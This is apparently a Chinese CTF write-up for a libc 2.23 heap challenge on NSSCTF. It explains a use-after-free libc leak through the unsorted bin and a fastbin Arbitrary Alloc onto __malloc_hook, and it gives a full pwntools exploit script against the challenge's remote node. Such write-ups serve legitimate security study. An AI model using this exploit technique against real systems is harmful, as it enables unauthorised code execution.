前言

https://www.nssctf.cn/problem/5614

libc2.23版本的堆题,非常简单,但是是我自己独立完成的非教程题目的第一个题

分析

菜单题,增删查改一应俱全

有UAF漏洞,申请的堆块大小自己设定

有UAF的话我们就可以很轻松的泄漏出libc,首先申请一个非fastbin大小的堆块,比如malloc(0x80)

delete一下它,然后show一下就可以得到unsorted bin地址,也就能知道libc地址

我之后的思路是利用uaf漏洞来Arbitrary Alloc,利用fastbin单向链表的性质,通过字节错位的方法来申请到__malloc_hook所在的空间。

然后再改写__malloc_hook到one_gadget就行了。

exp

from pwn import *
context(log_level='debug', arch='i386', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
ti = lambda : p.interactive()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def cmd(choice):
sla(">>",str(choice))
def create(idx,size):
cmd(1)
sla("idx? ",str(idx))
sla("size? ",str(size))
def delete(idx):
cmd(2)
sla("idx? ",str(idx))
def show(idx):
cmd(3)
sla("idx? ",str(idx))
def edit(idx,content):
cmd(4)
sla("idx? ",str(idx))
sa("content : \n",content)
def Exit():
cmd(5)
#p=process('./heap')
p=remote('node4.anna.nssctf.cn',28015)
libc=ELF('./libc.so.6')
create(0,0x80)
create(1,0x00)
create(2,0x30)
delete(0)
#gdb.attach(p,'b* 0x400D25')
show(0)
ru("content : ")
libc_leak=uu64(p.recv(6))
leak("libc_leak",libc_leak)
offset=0x3c4b78 #0x7ad119fc4b78-0x7ad119c00000
libc_base=libc_leak-offset
#size_ptr=0x602140
#heap_ptr=0x6020c0
fake_size=0x3c4af5+libc_base
fake_chunk=fake_size-8
create(3,0x60)
create(4,0x20)
delete(3)
edit(3,p64(fake_chunk))
create(5,0x60)
create(6,0x60)
#gdb.attach(p,'b* 0x400D25')
one_gadget1=0x4527a+libc_base
one_gadget2=0xf03a4+libc_base
one_gadget3=0xf1247+libc_base
payload=b'a'*0x13+p64(one_gadget3)
edit(6,payload)
create(7,0x20)
ti()

碰壁记录

其实实际在做这个题的时候遇到了很多问题,我想法非常多,处处碰壁,这里记录一下碰壁遇到的知识。

我一开始想法非常复杂,因为有一个size数组,这个size是我们自己写的,那么就有可能申请到size数组上来,然后再前向重叠,把前面的堆指针数组给合并掉,这样就可以改写这个数组的内容来任意地址写了。

一开始申请到size上比较顺利,虽然中间因为分不清house of spirit和Arbitrary Alloc导致走了一点弯路,不过最后还是成功了。结果在前向合并的时候发现,好像在合并的时候我没法更改堆指针数组,导致合并失败,就此作罢。

后来又想到Arbitrary Alloc 好像没这么多限制,又查了一下Arbitrary Alloc的东西就想到了可以直接申请到__malloc_hook附件的空间,从而改写成one_gadget。

这里泄漏libc是利用的之前学过的unsorted bin的东西。

Arbitrary Alloc

检查1:检测你要malloc的free chunk的大小是否在该chunk所在的fastbin链的大小尺寸范围(例如:一个fastbin链所存储的chunk大小必须在0x30-0x40之间,但是你要申请的这free chunk却是0x50,那么就会程序就报错退出)。
检查2:检测你这个free chunk的size成员的PREV_INUSE为是否为1,为1才可以通过检测。

所以构造例如0x70的fastbin,fake_size在[0x70,0x7f]区间都能满足第一个size检查

这里没有对fake chunk的地址对齐有要求,可以利用字节错位来随意申请地址。